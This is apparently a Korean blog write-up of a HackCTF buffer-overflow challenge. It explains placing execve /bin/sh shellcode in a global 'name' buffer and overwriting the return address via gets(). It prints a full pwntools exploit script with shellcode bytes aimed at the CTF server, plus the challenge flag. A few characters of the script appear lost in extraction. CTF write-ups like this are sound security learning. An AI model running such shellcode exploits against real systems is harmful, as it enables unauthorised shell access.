본문 바로가기

WARGAME/hack ctf

내 버퍼가 흘러넘친다!!!

 

 

우선 바이너리를 다운로드하고 gdb로 까 보면,

 

 

 

 

printf로 한번 출력해주고 read로 한번 입력 받은 다음 printf 로 또다시 한번 출력해주고 마지막으로 gets 함수로 입력을 받는

것을 확인할 수 있다. 해당 바이너리를 ida hex-ray로 까 보면 다음과 같다.

 

 

 

 

그냥 쉘 코드를 활용해서 문제를 풀면 될 거 같다. 처음 read 함수가 입력받는 name 변수가 어디 있는지 보니깐

 

 

 

 

전역 변수 영역에 있음을 확인할 수 있다.

 

 

그다음 read 함수로 입력을 받으니깐 처음 name 전역 변수에 쉘 코드를 넣어 두고 gets로 입력을 받을 때 ret 영역을 name 변수 주소로 덮으면 될 거 같다.

 

 

익스는 다음과 같이 짰다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
 
#p = process("./prob1")
= remote("ctf.j0n9hyun.xyz"3003)
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
 
payload = ''
payload += 'A'*20
payload += 'B'*4
payload += p32(0x804a060)
 
p.recvuntil("Name :")
p.sendline(shellcode)
p.recvuntil("input : ")
p.sendline(payload)
 
p.interactive()

 

 

정상적으로 쉘 이 따짐을 확인할 수 있당

 

 

 

 

FLAG : HackCTF{1_l0v3_70p_pwn3r_m4lhyuk}

'WARGAME > hack ctf' 카테고리의 다른 글

Simple_Overflow_ver_2  (0) 2020.03.09
x64 Simple_size_BOF  (0) 2020.03.09
x64 Buffer Overflow  (0) 2020.03.09
Basic_BOF #2  (0) 2020.02.16
Basic_BOF #1  (0) 2020.02.16